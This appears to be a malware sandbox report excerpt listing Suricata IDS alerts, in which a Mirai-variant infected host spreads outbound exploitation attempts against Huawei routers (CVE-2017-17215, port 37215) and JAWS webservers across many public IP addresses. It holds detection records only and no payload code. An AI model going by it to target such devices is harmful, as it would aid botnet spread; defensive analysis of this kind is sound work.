Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45350 -> 156.131.234.245:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53000 -> 203.176.98.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38986 -> 223.91.116.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38986 -> 223.91.116.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35602 -> 144.147.255.221:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53792 -> 72.71.46.23:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60630 -> 41.206.186.43:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53792 -> 72.71.46.23:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49320 -> 41.54.199.196:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47664 -> 204.186.97.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35602 -> 144.147.255.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47664 -> 204.186.97.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56908 -> 158.79.170.58:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36032 -> 156.131.78.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60600 -> 197.192.25.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53578 -> 197.221.56.147:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52296 -> 209.173.84.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52296 -> 209.173.84.48:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36858 -> 197.99.153.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47154 -> 41.141.61.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47124 -> 197.67.155.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40346 -> 197.159.140.182:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60336 -> 207.211.198.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60336 -> 207.211.198.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46176 -> 173.126.146.75:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48018 -> 41.121.183.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54492 -> 197.240.9.178:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46176 -> 173.126.146.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59710 -> 121.249.204.73:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42888 -> 156.199.133.10:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59710 -> 121.249.204.73:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48550 -> 128.223.79.236:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48550 -> 128.223.79.236:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52144 -> 149.156.227.51:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52144 -> 149.156.227.51:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35728 -> 206.102.146.57:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35728 -> 206.102.146.57:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33484 -> 41.224.91.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51474 -> 197.156.215.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36870 -> 156.195.152.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50382 -> 41.62.51.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59988 -> 41.43.234.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44558 -> 197.22.131.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58404 -> 156.231.12.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46322 -> 156.40.232.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40154 -> 197.127.169.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38462 -> 41.173.232.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46650 -> 156.5.80.225:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47650 -> 25.10.197.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47650 -> 25.10.197.174:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39800 -> 41.62.95.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43598 -> 197.210.72.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49702 -> 41.140.250.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52530 -> 197.116.252.57:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38074 -> 69.189.168.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38074 -> 69.189.168.77:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47178 -> 166.78.173.116:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47178 -> 166.78.173.116:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56348 -> 170.169.198.71:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52868 -> 98.112.149.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56348 -> 170.169.198.71:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52868 -> 98.112.149.204:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54740 -> 41.89.102.223:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37954 -> 210.121.128.46:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37954 -> 210.121.128.46:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37208 -> 197.57.148.161:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34218 -> 174.54.4.5:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34218 -> 174.54.4.5:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34980 -> 217.200.202.101:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34980 -> 217.200.202.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37732 -> 131.122.230.5:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37732 -> 131.122.230.5:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38652 -> 156.105.25.60:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56060 -> 13.251.158.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56060 -> 13.251.158.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44554 -> 143.74.7.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44554 -> 143.74.7.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34908 -> 65.92.219.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34908 -> 65.92.219.15:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43764 -> 41.140.12.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39688 -> 197.93.17.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59872 -> 41.224.43.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54318 -> 156.16.141.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57642 -> 41.194.8.24:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34098 -> 93.111.230.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34098 -> 93.111.230.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55102 -> 50.206.223.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55102 -> 50.206.223.170:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48160 -> 197.95.181.147:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36620 -> 207.42.102.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36620 -> 207.42.102.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40278 -> 176.0.211.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40278 -> 176.0.211.143:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37022 -> 58.165.207.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55196 -> 199.52.65.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55196 -> 199.52.65.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37022 -> 58.165.207.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36026 -> 122.22.64.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36026 -> 122.22.64.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58554 -> 133.146.239.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58554 -> 133.146.239.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54516 -> 110.32.215.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54516 -> 110.32.215.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50054 -> 217.215.79.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32836 -> 208.73.48.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50054 -> 217.215.79.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32836 -> 208.73.48.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45228 -> 173.121.214.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53724 -> 49.191.180.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45228 -> 173.121.214.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34550 -> 101.32.81.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53724 -> 49.191.180.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34550 -> 101.32.81.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40634 -> 2.117.9.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37636 -> 208.48.134.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51746 -> 60.161.100.78:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34032 -> 119.237.14.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37636 -> 208.48.134.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51746 -> 60.161.100.78:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41306 -> 126.82.92.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42258 -> 78.227.173.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50560 -> 165.33.196.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41306 -> 126.82.92.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38966 -> 113.124.149.126:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57236 -> 32.44.232.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38966 -> 113.124.149.126:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34206 -> 199.103.66.44:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38628 -> 131.249.228.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38628 -> 131.249.228.80:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56448 -> 50.215.179.246:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34032 -> 119.237.14.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56448 -> 50.215.179.246:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57436 -> 50.205.67.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57436 -> 50.205.67.103:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34968 -> 197.237.200.90:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51722 -> 192.140.240.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51722 -> 192.140.240.27:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56662 -> 194.1.252.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59898 -> 223.66.174.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56662 -> 194.1.252.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50560 -> 165.33.196.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52108 -> 147.230.188.100:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44896 -> 155.90.17.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57236 -> 32.44.232.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34206 -> 199.103.66.44:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48358 -> 128.79.224.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48358 -> 128.79.224.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59898 -> 223.66.174.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42258 -> 78.227.173.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55482 -> 83.106.224.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35456 -> 133.207.20.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44896 -> 155.90.17.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35456 -> 133.207.20.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40634 -> 2.117.9.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55482 -> 83.106.224.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52108 -> 147.230.188.100:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57156 -> 156.4.226.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57126 -> 41.34.110.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51574 -> 197.77.114.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42890 -> 41.93.86.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33380 -> 41.29.70.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44028 -> 156.36.174.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50108 -> 41.59.229.59:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37090 -> 125.167.185.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37090 -> 125.167.185.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39734 -> 148.179.123.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33260 -> 200.230.245.168:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33554 -> 208.46.118.213:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33260 -> 200.230.245.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59790 -> 156.3.237.129:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35124 -> 80.159.50.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33554 -> 208.46.118.213:80
